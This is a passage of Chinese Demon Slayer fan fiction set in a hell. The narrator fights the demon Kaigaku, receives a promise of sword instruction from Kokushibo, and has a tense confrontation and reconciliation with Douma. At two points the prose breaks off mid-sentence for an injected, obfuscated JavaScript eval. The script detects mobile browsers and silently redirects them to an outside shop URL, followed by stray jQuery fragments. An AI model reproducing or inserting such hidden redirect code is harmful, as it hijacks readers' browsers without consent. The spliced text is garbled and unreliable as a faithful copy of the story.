成百上千只荧绿色的死灵在它们的身下像粘稠的沼泽水一样涌动,吞噬它们的灵体,吸食它们满溢而出的愤怒和怨憎,令人牙酸的咀嚼声充斥了能感知到的范围,这些没有什么智能的魔物进食的正欢。 死灵之森终于露出了它的本来面目。和这真实而惨烈的景象相比,一切宗教典籍中描述的地狱,都美好的像是童话。 生存本能让我以最轻的脚步后退,顺便隐藏起自己全部的气息,然而下一刻,却听到不远处的林中,传来金属撞击的鸣响。 还有人活着。必须告诉他们,停下这毫无意义的厮杀,否则只能引来更多的死灵,大家一起死无葬身之地。 我咬咬牙,悄无声息地从这片“沼泽”的边缘走过,潜入了林中。 隔着老远就听到狂笑和叫骂声,是个少年嘶哑而暴躁的声音: “就凭你们这群废物,也想要老子的命?都给我去死吧!” “狯岳!你小子也太狂妄了!这里又不是鬼杀队,你在我们面前装什么剑士?”有个尖利的声音讥笑道,“呀,倒是忘了,你这种叛徒,早就被鬼杀队除名了吧?你的培育师呢?怕是已经切腹了吧?” “真可怜啊,看你这是刚变成鬼就死了吧?你到底是人还是鬼啊?这副样子真是像个笑话…啊呜呜呜!” 那位名叫狯岳的少年手持不知道哪捡的一把缺了口的太刀,精准无比地一刀戳进了说话的鬼的嘴里,横向狠狠一拉,鬼的半个脑袋掉了下来。紧接着他又是一刀捅进鬼仍在手舞足蹈的残体,纵向破开了那具灵体,灵体终于飞散成碎片,死灵们从地上涌出,飞舞在空中追逐着那些喷溅而出的、看不出颜色的液体。 “给我去死!” 他又是一刀砍掉了另一个攻来的鬼的头,脸上满是疯狂之色。 对手终于有点怕了,边叫嚷着“这小子疯了!”,“你等着,我们不会放过你的!”边四散溃逃进林子里。 “哈哈哈,别跑啊!老子还没杀够呢!” 那少年全身沾满了不知道是血还是什么的黏腻液体,抹了把脸,狠狠地啐了一口。回身看到那只没了脑袋的鬼还在原地晃悠,立刻扑上去补刀。 一刀一刀又一刀,全然不顾大量死灵开始向他的方向集聚,他嘴里边骂边玩命戳着地上那滩已经看不出形状的东西。 “你个废物,废物,废物…我和你不一样!不一样!” 我用刀鞘在他背上碰了一下。 “小孩,已经够了,快走吧。” 不得不说这孩子的反应真快,刀鞘还没碰到第二下,他就一个回身砍了过来。我跳出几步,看他低着头,像条疯了的野狗似的冲我扑来。 贰之型,稻魂。 速度很快,然而,步态不稳。 我原地跃起,格挡住他最初的几刀后,挥刀斩向他的腿部。他反应过来,闪的倒很快,但呼吸已经乱了。 “你要失去心智了,小孩。”碰巧我心情也不怎么好,举刀指向他,“再闹,我就真要揍你了。” “你他妈算什么东西?!死女人!给我去死!” 他将那把破刀一横,剑气竟然带起了爆炸似的火花,几步就冲到了我眼前。 我挥刀跟上了他的速度,最终一刀劈过他腰间。 “这招远雷不错,但你也太慢了。早云的刀比你沉,挥刀的速度可比你快多了。” 他在原地晃了一下,用那把破刀撑住了身体。 “疼吗?灵体在这里也会感到疼,因为地狱本来就是为了惩罚罪人、让他们痛苦才存在的。”我冷冷的说,“但这种程度不至于死,只能吸引来死灵啃噬你。现在闹够了没有?” “我…不会放过你的。”他死死的瞪着我。我被瞪烦了,上前一刀鞘捅在他伤口上,他马上弯成了个虾米。 “疼吗?”我面无表情的说。 “你他妈…是不是有病?” 我又一刀鞘抽在他腿上,他呲牙咧嘴的跪了下去。 “疼吗?” “你等着…老子…” 骨头还挺硬。我又开始怀念起可爱的谢花兄妹了,比起现在这群鬼,他们是多么的温柔懂事。 正当我准备把这小子揍成个半残的时候,一阵久违的、什么东西烧焦的气味随风飘了过来。 我立刻感到头皮发麻。 许久不遇到,我竟然都忘了这里还有这东西。 全身燃着业火的、叫做“炎魔”的魔物。 应该是被这里的血腥和怨气吸引来的,如此浓烈的气息,说明这头已经距离很近了。 我一把揪住那名叫狯岳的少年的衣服领子,他边玩命挣扎,边破口大骂: “你他妈再敢打我试试?信不信老子…” 他声音不小,话音未落,我就感到那头炎魔正在全速逼近。 完蛋,果然什么时候都不该脑子发热。 我深吸了口气,奋力将那混不吝的小子推到一旁。双手握刀,浩荡的水流迎面撞上了那头巨大的业火之兽。 炎魔发出低沉的咆哮,转身朝我扑来。 “沧龙·蛇牙斩!” 青蓝色的刀光和雪亮的蛇牙刃交织在一起,瞬间撕裂了魔兽的前半身,但这一只的再生速度很快,火焰席卷着四周,魔兽扭过残缺的头,一爪挥向我。 我挥手以一道水墙隔挡开火焰,却被巨大的撞击力弹开了。身边的林地全都开始起火,因为有水的力量护身,这些火焰无法伤害到我,但拖得久了的话… 我看了看那个傻在原地的少年,忍不住冷笑了下。 活该,终于知道怕了。 必须到它的上方,直接破坏掉核心才行。但这一头比寻常的要大,核心的位置能一次确定吗? 如果不能,那就意味着巨大的风险。 啊,上次童磨是怎么做的来着?好像是用冰柱子直接钉住了它? 只犹豫了一刻,耳畔就传来了震耳欲聋的咆哮声,来不及多想,我再次挥刀。 这次是一条后腿,但立刻又再生了,魔兽更加愤怒,张嘴吐出灼热的炎流。 不行的话就只能… 正当我还在纠结要不要召唤“走蛟”的时候,突然听到一个低沉的嗓音在某处响起。 “…壹之型·暗月·宵之宫。” 骤然之间,有夺目的银光照彻了黑暗。 我只看到无数新月形状的剑气在眼前的火焰中破开一条道路,以不可思议的强悍将炎魔的躯体斩碎成几十块。业火像四散的烟花一般飞旋在黑暗中,隔着业火,是紫衣武士那高大傲岸的身姿。 他已经收刀入鞘,而我甚至没看清他拔刀的动作。 那是绝美的一斩,只一斩,就有着如此惊人的威力。 永夜的孤月,不负上弦之壹的威名。 亲眼目睹这样登峰造极的剑技,我瞬间忘记了一切犹疑和纠结。 “黑死牟大人!”我心悦诚服的单膝跪地,“多谢您出手相救!” 六只赤金鬼瞳朝我的方向看了一眼,鬼剑士保持了一如既往的沉默寡言,步伐稳健的向前方的林中走去。 “黑死牟大人!请您不要去那边的林子!里面有大量的死灵!” 我站起来追了过去,只见他在林子的边缘停下了脚步,应该是看到了那真正的地狱景象。 似乎察觉到了危险,像沼泽般涌动的死灵们发出了嘶嘶的声响,开始向空中升起,做出攻击的姿态。鬼剑士的脸上依然没有任何表情,下一刻,我看到他握住了刀柄。 这次我看清了那柄长度惊人的鬼刀出鞘的一刻,布满眼睛的狰狞刀刃却能挥洒出月光般冰冷而肃然的剑气,他挥刀的姿势精湛而完美,是一位千锤百炼的剑士所能达到的最高境界。 无数银亮的半圆形月刃如同一道风暴卷向那些死灵,顷刻之间,无论是死灵还是被死灵啃噬的鬼,全都在遍洒的月华中化为乌有。 见他依然不语,我惭愧的低下头,深深鞠了一躬。 “真是抱歉,让您看到这种污秽的景象。” 黑死牟大人转过身注视着我,他的个子甚至比童磨还要高一点,那种居高临下的压迫感让我每次都有点紧张。 “战场…皆如此。”他沉声道,声音中听不出情绪。 啊,我竟然忘记了他是战国时的武士,对这种尸横遍野的场面,应该并不陌生。 “因为那位大人的命令,鬼们都在自相残杀。明明已经死去,却还要受这等修罗道之苦,实在太过残忍。“我轻声说,“如果有可能,还请黑死牟大人劝谏那位大人,不要再造此杀孽为好。” 黑死牟大人并未回答,只是淡淡道:“你…为何在此?“ “回黑死牟大人的话,我也是找东西路过此处,感觉到血腥,就过来看看。”我说,“这边有个会用雷之呼吸的小孩…诶?狯岳?” 抬眼一看,那少年竟然在地上跪的端端正正五体投地,连大气也不敢喘的样子。 “黑死牟大人…” 完全不是刚刚骂我的猖狂样子,他声音都在发抖,“我是狯岳,您…您还记得我吗?“ 我惊呆了,我的威慑力原来这么差吗?明明我都把他揍的爬不起来了啊! 难道就因为我是女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252340|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人?太没天理了! 黑死牟大人冷漠的看着那少年,缓缓道: “鬼杀队的剑士…浪费了…我赐你的血。” “十分抱歉!是我…我轻敌了!”狯岳的头压的更低了,声音抖的更厉害了,“我不甘心…大人!我真的不甘心!我想要变得更强!求您…求您…能不能让我跟在您身边修行?” 诶?这样也行? 黑死牟大人看也不看他的走了过去。 “求您…我不甘心…”那少年犹自趴在地上喃喃道。 我有点看不下去,于是鼓起勇气走到上弦之壹面前跪下。 “黑死牟大人,我知道这个请求很不合理。但我也想学习您刚刚破除炎魔的那一剑,虽然我学不会呼吸法,也没有修习过正统的剑道,但我只想再仔细看一下您挥剑的姿势,因为那是我见过最美的剑技了。我只学那一剑的剑型,不给您添别的麻烦,可以吗?“ 啊,拜某只鬼所赐,我的脸也是够厚了。 就我那稀烂的剑技,也好意思开口求这位剑豪教我,我到底怎么想的… 只听我头顶传来黑死牟大人低沉缓慢的声音: “我等皆为败者。月之呼吸…已经失传,我…没有什么…可教你的。” “怎么能说是败者呢?您的剑技明明那么完美啊!”我不解的说,“这么漂亮的斩击,光是看一眼都令人终生难忘,如果没人能记得,该多么可惜啊!啊,我明白了,是不是因为…我是女子?“ 也是合理,武士家的剑技几乎不可能传给女孩,之前只听闻信长公的正室浓姬夫人那样的奇女子,怀揣短刀出嫁,武艺亦是不俗,据说最后在本能寺中与信长公并肩而战,同生共死。 “与那无关。” 黑死牟大人的声音充满肃穆与威严。 “你若执意要学…就来找我吧…如果你能找到我的话。” 我猛的抬起头,与六目剑士那肃杀的目光相对。他依旧只是看了我一眼,便一言不发地向前方走去。 “多谢黑死牟大人!那我择日就去找您!” 我深深伏在地上,难以抑制内心的激动。 在地狱里滚了两百年,练的都是杀人技,从没想过还能得到真正的剑士的指引,果然下地狱也不都是坏事! 我爬了起来,拍拍衣服上的灰,转头看到那个叫狯岳的少年还僵直的趴在地上。 “小孩,跟我走吧,没听黑死牟大人同意了吗?” “哈?“ 狯岳拧着眉毛看我:“大人他明明没理我好吧?你这女人…” “你是不是傻啊?他也没说不让你去啊!”我摊摊手,“这么好的机会,你不去我可就自己去了!” “我当然去了!哎哟!” 我看他捂着腰呲牙咧嘴,顿时笑岔了气,从随身的袋子里摸出一颗金色的果子给他。 “给你吃这个吧,人类的灵都能吃的话你应该也可以,那种擦伤很快就能恢复了。我打你是因为你再杀下去的话就会召来刚刚那种死灵,到时有几个你都不够它们啃,你别介意。“ 他皱着眉头接过那颗果子,哼道:“我怎么知道你没下毒?” 我不得不表示叹服:“你脑子是怎么长的?我要杀你还用下毒吗?” 他可能也有点尴尬,哼了一声不理我了。 “你在哪捡的破刀,竟然也能拿来砍人?”我看着他那把缺了口的刀撇嘴,“这刀连刀刃都快没了,亏你还能用。” 他啃完了果子,斜着眼睛看我:“怎么了?你管的着吗?“ “你这小孩怎么说话总是带刺呢?”我纳闷地说,“你父母没教过你起码的礼貌吗?” “我是孤儿,没父母。”他干脆地说。 “难怪你老是一副不高兴的样子。”我笑了笑,“算了,我先给你找把能用的刀去。” 凭着记忆在面目全非的旧战场找了半天,我才找到了那把半埋在尘埃里的反曲刀。抚摸着黑色的刀鞘和刀锷上的云纹,我用一捧清水小心地洗去了上面的尘埃。 名叫狯岳的少年站在我身边,那对粗眉毛拧的更紧了。 “怎么回事?这是…日轮刀?“ “对,是我一位朋友的刀。”我缓缓将那柄刀抽了出来,宽阔的刀身上已经没有了电蓝色的光辉,但依旧寒光四射。 “它的主人不在了,就这么埋在这里也太可怜了。”我说,“不如你就拿去用吧,反正早云用的是雷之呼吸,我看你也是用的雷之呼吸吧。” “啊?你有没有常识啊?”狯岳一脸讥讽,“我是鬼,你让我拿日轮刀?” “有什么问题?你都已经死了。”我愕然道,“难道会烫手吗?” “我服了你这女人了!日轮刀是斩鬼用的啊!”少年满脸愤恨地喊道,“我他妈就是被那个小废物的日轮刀砍了脑袋,你让我拿日轮刀?!“ “你们这群鬼哪个不是被日轮刀砍掉脑袋的?死都死了,哪那么多事?”我有点不耐烦,“你爱用不用,先说好了,就你捡的那把破刀,肯定用不了两次就要断,到时候你打算请黑死牟大人把他的刀给你用吗?“ 这话果然吓住他了。那少年像看着一条毒蛇一样,伸手快速摸了一下早云的刀。 并没有反应,他震惊地看看自己的手,又看看刀,嘴里反复念叨着:“怎么可能…这怎么可能…” “地狱是意念的世界,这把刀的主人是个温柔的人,他离开的时候没有杀意和怨恨,刀本身是主人意念的载体,没了主人,刀也不会带有对鬼的杀意,就算是日轮刀也一样。“我耐心地解释道,“人类也好,鬼也好,在地狱里是一样的,心怀怨恨的灵魂,在这里只能成为死灵们的粮食,相反,放下怨恨,就能重新作为人类去转世。” “我他妈才不要当人,那种废物一样的东西…我早晚会变得更强,回去收拾那个该死的小废物…” 他嘴里这么说,手上却死死攥住了那把刀。 平八郎,你应该不会怪我吧,我把你的刀送给了一个变成鬼的少年。 不过你怪我也没关系,来世如果见了面,你再来狠狠骂我一顿好了。 “这刀本身很沉,我估计你得适应一阵子才能用,所以你那把破刀也先别丢掉,万一黑死牟大人要看你挥刀,你做不好就丢人了。” 我带着狯岳往回走,他不屑的抱着刀反讽:“老子学刀学了多少年,还轮得到你来教训我?” “你一直在鬼杀队?为什么变成鬼了?” “那当然是因为黑死牟大人赏识我的才华!” “你们早就认识?“ “我出任务的时候遇到他的…等等,这关你什么事?” 也没看出他老人家赏识你的才华啊…我默默地想。 64. 神之子(14) 到了住处附近,我先去了存放“时轮”碎片的林子里,记下顺序后,把所有的碎片收好,这些肯定不能带走,要回来以后才能考虑怎么处理了。 我的剑斩击力量太弱,破坏性也不够强,即使加上了蛇牙刃,虽然速度尚可,但遇到强劲的对手依然欠缺杀伤性,这是因为我擅长使用防御性的法术,遇到敌人也多是以逃跑为首要策略。但看了黑死牟大人的剑技后,我想,也许需要做出些改变了。 那数百年的时间磨练出的强悍剑气,实在令我心驰神往,无法视而不见。 神灵怎么了?谁说神灵就不能拜师学艺了? 我把时轮的碎片和那本笔记一股脑丢进之前的树洞里,刚一转过身,就撞进了一个散发着凉气的怀抱。 “抓到你啦~” 那充满魅惑的声音贴着我的耳边轻轻响起。 我僵了一下。 鬼仿佛沉醉似地在我颈边嗅闻着,白橡色的发丝扫过我的眼前。 “小染去了哪里呀?为什么好几天不回来?”他有点委屈似的抱怨道,“人家好想你哦~” 明显感觉他的獠牙露了出来,轻轻蹭着我的脖子,我努力扭开头,推了他一把。 当然推不动,这鬼本来就高,抓住你时又格外有力气。 “童磨大人,我要出去一段时间。”我尽量平静地告诉他。 “诶?为什么?”他睁大了那双漂亮的彩色眼睛,“小染要去哪里呀?” 啊,拜托你,不要露出那种天真纯良好像孩子一样的表情啊。 我们都知道那孩子已经死了,不是吗? “去找黑死牟大人学剑技,他同意教我,机会难得。”我淡淡地说,“反正最近也没有什么事,我也…” “可是小染是我的眷属呀,你想学什么,我也可以教你啊~”鬼继续无辜地说,“再说剑术那种东西有什么意思嘛,小染的话,跟着我就可以啦,人家会保护你哦~” “不对,我并没有指望你庇护我,童磨大人,”我直截了当的说道,“这一路我们都是互相帮忙,因为我们是合作的关系,你忘了吗?“ “合作的关系?我们不是朋友吗?” 童磨收起了那副天真无辜的表情,露出了若有所思的目光。 “是无惨大人对你说了什么吗?”他的语气变得平板,且波澜不惊。 “没有,你为什么这么想?”我回避着他那种冰晶般无机质的眼神,像是想要躲避某一头从深渊中浮起的怪物。 “比起相信我,小染更相信无惨大人,对吗?” 那头怪物睁开了眼睛。 我莫名地想起了琴叶,想起她在那个月夜,绝望地将怀中的幼子扔下悬崖之时,身后步步走来的,是否就是这头怪物呢? 我不是琴叶,童磨是什么样的鬼,我一直以来都是知道的,但为什么,直到此时此刻,我才体会到琴叶的心碎? ——母亲给的糖我还偷偷留了一些呢,要留给那孩子哦,毕竟他都没怎么吃过糖呢。 ——到樱花开的时候,他就会来了,我是这么跟他约定的哦。 ——请你,代替我,守护在他身边。 ——不要放弃,不要让他消失掉。 ——那些记忆是他主动丢弃的,没有一丝一毫的犹豫。 “够了!” 我抬起头,直直地逼视着那双华美但毫无温度的眼睛。 “我陪你走这一路,不是来陪你玩游戏的!童磨,我知道你没有感情,我也从来没有责怪过你,但我们能不能…能不能不要把假的当成真的?” 神啊,这是什么鬼话啊,这种话难道不该对我自己说吗? 但是凭什么…凭什么一直以来都只有我自己忍耐着这一切? “诶?” 鬼歪过头,露出一个困惑的表情。 “小染这是说的什么话?我感知不到感情这件事,你不是早就知道的嘛?” 他伸出手,用长长的、暗蓝色的指甲勾起我的一缕头发。 “但那又怎样呢?我对小染不温柔吗?小染和我在一起的时候,明明也是在笑的呀。” “小染到底在生什么气呢?只要乖乖待在我身边不就好了嘛~你这样的话,人家是会伤心的呀。” 他眨眨眼睛,掉下来两滴眼泪。 然后是更多眼泪。 ……这家伙颇为认真的哭起来了。 “呜呜呜…就算是假的,就算什么也感觉不到,人家也已经很努力了嘛…小染怎么可以这样对待人家…真是太过分了…” 他哭的实在是太逼真了,我有点不知所措,刚想安慰他几句,突然感觉哪里不对劲。 为什么这么冷? 视野可及的树木枝干上全部结出了一层冰凌,空气中弥漫开白色的冻雾,成簇的尖利冰柱像奇特的植物般破土而出。 这…这又是什么新的血鬼术吗? 直到我发现那种冷的感觉来自我的体内,才注意到一层霜花沿着我腕上的那朵血色莲花迅速在我的手臂上蔓延开来,然后伴随着突然爆出的血花,微小的冰晶莲花穿破了皮肤,竟然从我的体内生长了出来。 ……我就知道,被灌了那么多鬼血,怎么可能一点副作用都没有? 被给予刻印的、鬼的眷属,生命即是掌握在刻印者手中,而我总是忘记,他和无惨本是一样的存在。 一边拼命用灵力顶住体内蔓延开的冰寒,我一边狠狠甩了面前的鬼一记耳光。 “童磨…你是想杀死我吗?“ 我咬牙切齿的说。 他似乎愣了愣,只是面无表情地注视着我。 该怎么做?谁来告诉我该怎么做? 要拔刀吗?虽然在力量上无法与之抗衡,但这么近的距离,或许我可以…… 叮。 腕上的银铃在响。 好像女孩子的哭泣声。 ——您脸上都是土呢,快站起来清理一下吧。还有没有哪里受伤?小心一点哦。 ——那不是您的错,而是有人故意欺辱您。所以不必自责哦。您昨天的表现非常勇敢,我都看到了。 ——您是我见过的第一个会站出来帮我说话的人,虽然不太明白您为什么那么生气,但我还是很感谢您哦,您真是一位勇敢的女孩子呢。 那个孩子清澈无比的声音,曾经是照亮我世界的光。 我真的好想他。 在失去那段记忆之前,不论在人世还是地狱,只要我神志清醒,没有一刻不在想他。 想他长高了没有,想他变成了什么样子。 想他人在何处,过着怎样的生活。 想他会不会比我过的更幸福。 至于他有没有履行约定,有没有来见我,似乎并没有那么重要。 因为,只要两个人都活在世上,就总有再见面的一天。 但是,到底是什么夺走了他?到底是什么让我永远失去了他? 眼泪终于再也控制不住,倾泻而下。 对不起啊,我曾经那么努力的,不让自己在你面前哭啊。 因为你看过那么多流泪的脸,我连一丁点悲伤都不想再让你看到。 可是我,还是太软弱了啊。 如果我再强大一点,如果我能早一点到你身边去…… ……如果我没有在那个夏天死去,那该多好啊…… “你怎么放个东西这么慢啊?嘶,这里他妈的怎么这么冷?” 一个少年的声音突兀的穿破了死寂,也让我的头脑恢复了运转。 “狯岳!跑啊!”我厉声吼道。 面前那双剔透而多彩的眼睛眯了眯,轰然炸开的雪雾中,飞散出无数闪耀着寒芒的冰晶莲花。 鬼的猎物是种什么感受,我有生以来第一次有了体会。 在黑暗的林间拼命奔逃,耳边全是风声、植物破碎的声音、喘息声、心跳声,所有的一切声音,都化作了那种罩在头顶的,巨大的恐惧。 我尽最大可能隐藏了气息,毕竟我善于逃跑,但身边那个少年就不行了,看得出他被吓坏了,他的喘息和心跳、他的脚步踩的干枯的植物咔嚓作响,无一不吸引着狩猎者的注意。 他的胳膊被冰晶擦破了,为了挡住那暴走的血鬼术,我更是半边身子都是血,虽然用灵力止住了血,但飘散的味道肯定还在,尤其对于那只无比熟悉我血液气味的鬼来说。 逃不掉的。 这很正常,上弦之贰如果真想狩猎你,你根本逃不过,他原本就是仅次于黑死牟大人的鬼,现在的力量更不知道到了什么程度,一旦他认真起来,就是极其可怕的。 如果只有我一个人,我或许会选择找个地方藏好,想办法将自己的气息完全隐蔽起来,那样的话还有一线可能蒙混过关。但现在带着个狯岳,我几乎能听见他因为恐惧和寒冷而牙齿打架的声音,更别说叫他藏起来了。 我猛的停下了脚步,狯岳踉跄了一下,差点撞到树上。 “你干什么?快跑啊!”他压低声音怒气冲冲地说。 我拽着他拐进旁边更加阴暗的一片树林,小声说,“你沿着这个方向先走,我随后再去找你。” 那少年愣了愣,气急败坏的呲牙道:“你傻吗?那个是上弦之贰!我刚变鬼都知道那是个吃女人狂魔,你他妈不跑等着被吃?” “我们两个一起跑,谁也跑不掉。”我说,“你先走,我应该能拦住他一会儿。” 狯岳转了转眼睛,突然目光冷了下来:“你是不是想拿我当诱饵?” 我无语了,这小孩到底经历过什么,内心怎么这么阴暗? “你都知道上弦之贰喜欢吃女人,你猜他是会去追你,还是先吃我?”我无奈的说,“你再不跑,就没时间了,我都听见他过来了。” “我能跑去哪里啊?这地方我又不熟!” “去找黑死牟大人,他赐过你血,鬼血的联系是最强的,你就凭着气息去找,一定可以找到他。刀我也给你了,遇到奇怪东西就直接砍。”我推了他一把,“快走!” 看着少年踉踉跄跄的没入林间,我将自己的身体紧贴在一棵大树背后,努力平复着心情和灵力。 虽然不知道为什么,但心中有个声音告诉我,不能逃。 如果我逃了,一切就都完了。 好不容易走到这里,不可以放弃。 哪怕迷惘和悲伤一时充斥了内心。 哪怕是死,也不可以放弃。 头脑迅速冷静下来,大概也是因为空气在急剧变冷的缘故,我开始听见四周的植物冻结而发出的咔嚓声,但依然听不到脚步声,甚至无法感知他具体的位置。 记得曾和他打赌,赌他学不会我隐藏气息的本事,现在看来是我输了。 赌注是什么来着? ——如果小染输了,就把你的秘密全都告诉我吧。 我真的做好准备了吗? 面对他,以及面对自己。 即便也许迎接我的,是和琴叶一样的结局。 我深吸了一口气,慢慢走出了那片林子,在被严霜覆盖的空地上站定。 红衣恶鬼的身形几乎一瞬间就在我面前显现出来,他握着扇子,冰晶似的一双眼睛似笑非笑地看着我。 “诶呀呀,小染很聪明嘛,既然逃不掉,就不要再逃啦~”他的声音轻松又愉悦,“啊,你流了好多血呢,一定很痛吧?” “是很痛,但还没到拜托童磨大人送我去极乐的地步。”我平静地说。 “诶?我没有说要送小染去极乐呀。”童磨困惑的眨眨眼,随后露出了泫然欲泣的表情,“小染为什么要逃?是怕我杀掉你嘛?可人家是不会做那种事的,人家只是…只是…” 他仿佛努力在寻找一个合适的词,最终有点犹豫地说: “…只是不喜欢而已。” “不喜欢小染看我的眼神,就好像不认识人家一样,真是的,明明都已经在一起这么久了,怎么能说不是朋友了嘛?” “还说什么假的真的,真是完全听不懂呢!呐,小染不要这样嘛,我们还是朋友吧?一直都是朋友对不对?” ……这家伙,原来这么在意这件事吗? 我不禁叹了口气。 “对不起,刚刚是我太冲动了,我不该随便对你发脾气。”我认真地对他说,“我们当然还是朋友,但我们得谈谈,童磨大人。” “是朋友的话,就没问题哦~”鬼欢快的说,“小染想说什么,人家都愿意听~” 我微微一笑:“你之前不是说想知道我的秘密吗?我现在就讲给你听。这个故事有点长,但我记得你很擅长听取信徒的诉说,就请你耐心地听我讲完吧。” “你现在见到的我,并不是我曾经的样子……” 我找了棵倒掉的树坐下,把白的故事和我的故事,以及两百年前荒川神社的小巫女和极乐教的小神子那短暂的邂逅,全都告诉了他。 确实花了很长时间,但这只总在吵吵闹闹的鬼,还真的很擅长耐心倾听。 和我预料的一样,他听完后没有什么反应,只是显得有些困惑。 “啊…我说怎么总觉得在哪里见过小染,所以,我们之前果然是见过面的?” “对,那时你七岁。” 我回忆着那孩子的脸,忍不住微笑道:“可爱极了,像个雪团子一样。” “这叫什么话,人家现在不可爱吗?“ 我看了他一眼,诚实地说:“现在…叫做好看,俊俏,不叫可爱…等等,我到底解释清楚没有?是作为荒川之神的我吃掉了白姬,才有了现在的这个我,所以,曾经和你认识的那个女孩子被我吃掉了,我也不知道我算不算是她,或者我只是…” “诶?有什么问题吗?小染吃掉了小白姬,是接受了小白姬的血肉和思想,小白姬就和小染一起得到了永生嘛。”童磨很自然地说,“这种事有什么难理解的?” 这…… 我倒是忘了,这只鬼对于吃人这事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252341|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有自己的一套相当独特的看法。 “话说,虽然不记得那时的事,但不知道为什么,”鬼一只手托着腮,忽然眯起眼睛,露出了一个相当温柔的微笑。 “听到小白姬没有死掉,就觉得心情很好呢。” 他伸手在我头顶揉了揉,再次重复了一遍,“原来你没有死掉哦?真是太好了呢。” 我抬起头愣愣地看着他,看到那双流光溢彩的眼睛里仿佛多了一点我从未见过的东西,我不知道那是什么,但心中莫名被触动,泛起一股酸涩又温暖的感觉。 太过温暖,导致眼睛瞬间模糊了。 我毫无准备地哭出了声,就好像忍了几百年的眼泪再也忍不住了似的。 “诶诶诶,小染怎么又哭了呀?刚刚不是还在笑的嘛?” “你为什么没有来啊……?” 我泣不成声地说:“我…我等了你好久啊…明明约好了来年樱花开的时候就见面的…我一直在等你啊…可你居然把我忘掉了,你真的…真的太过分了啊……” 我知道他听不懂,但完全没有办法控制自己,因为刚刚那一瞬间,就好像…… 就好像那个有着温柔笑容的孩子,又回来了一样。 童磨大人拿出了他作为极乐教教主的职业精神,带着一脸无比感动的表情看我哭完了全程。 “我太感动了,”他擦擦眼泪,“小染竟然一直在等人家吗?即使看不到希望,也坚持下来了吗?啊,真是太坚强了!虽然是个令人伤感的故事,可我还是觉得和小染做朋友是件很棒的事呢~” 看他那副夸张的样子,我反倒怎么也哭不出来了。 “还是算了,童磨大人,你不用陪我哭啦,我知道你没感觉的。你愿意听我倾诉,作为朋友,我已经很满足了。” “不是的哦~”鬼认真地说,“人家是真的觉得和小染做朋友是件大好事呢,而且竟然很早以前就认识,诶呀呀,感觉我们的关系又亲近了一层呢,这是很难得的缘分哦~” “至于你说为什么没去找你,”他思索了片刻,恍然大悟似的用扇子在手上拍了一下,“我想起来啦,如果是那一年的话,大概是因为…” “我那对蠢到让人绝望的父母,在年初死掉啦。” 童磨笑眯眯地看向我:“真是很麻烦啊,教里留下一大堆的事情,还要处理后事,连后面几年都没有了空闲的时间呢,应该是没法再去江户那边的吧。所以抱歉啦,让小染等了这么久呢~” 原来如此,竟然遇到了这么大的事吗…如果我没记错的话,你当时才刚满八岁而已… 我们谁也无法预料命运的河流往何处去,到头来,所有的悲剧,都只是阴差阳错罢了。 “没关系,我原谅你了。” 我望着他那双在黑暗中也映着彩虹的眼睛,如释重负地微笑道。 向前走吧,别再回头看了。 想想也是可笑,我们两个都早就不是人类了,居然还在为做人时的事在地狱里花时间互相解释,怎么看都有点傻。 嗯…总的来说,还是我傻,这么容易就被无惨大人抓住了弱点。 “那个男人真是擅长鼓动人心啊,”我感叹道,“不愧是活了一千年的鬼王,竟然掌握了你们所有人的思想,真是一点也不能小看他啊。” “小染错了哦,无惨大人并非无所不知,即使在他可以用鬼血控制我们这些上弦的时候,只要离开他的视线有一段距离,他也仅仅能感知到你的位置而已,没法时刻监视你的脑子。只不过如果他愿意,可以随时将你召唤到无限城中进行拷问。”童磨边拨弄着扇子上的穗子,边若有所思地说,“但他现在失去了对上弦的控制能力,小染又不是他的眷属,为什么他总能找到你?” “诶?你说的对啊!”我突然意识到那种不对劲的感觉来自何处了,“从一开始,那个控制梦境的鬼就找到了我,然后无惨大人就跟来了,而且他一开始就知道我是神灵,这次也是,根本一点准备都没有,就掉进他制造的空间里了。” “这可太有趣啦!”童磨兴高采烈地说,“咱们接下来就弄清这件事吧!人家简直迫不及待的想知道无惨大人的下一步棋呢~” “他这次挑拨之后,一定想看到效果。”我说,“所以我到黑死牟大人那边去,是当前最合适不过的做法了。“ “诶?还是要去吗?”鬼立刻换上了一副期盼的表情,“那人家也要一起去嘛~” 我被他气笑了:“开什么玩笑啊,我是去学剑技诶!你在场的话,黑死牟大人还肯教我才怪!” “为什么一定要学他的剑技嘛?听说月之呼吸根本没人学得会,再说我看小染战斗时打的也不错啊!”那只鬼嘟着嘴,哀怨地说,“啊啊,又要留人家一个人吗?会很无聊的啊~” “我只学剑型而已。我的剑技攻击性不够,而且童磨大人在近战时的防御是存在漏洞的,我必须变得更强,才能确保你在使用血鬼术时万无一失。” 童磨愣了片刻,随即哈哈大笑起来。 “小染真是太可爱了呢~竟然这么认真的想要保护我吗?放心好啦,鬼的再生能力是很强的,就算受伤也马上会恢复,要我说,你也太紧张了,放松一点啦,好不容易下了地狱,玩的开心才最重要嘛~” 这是什么魔鬼言论啊… 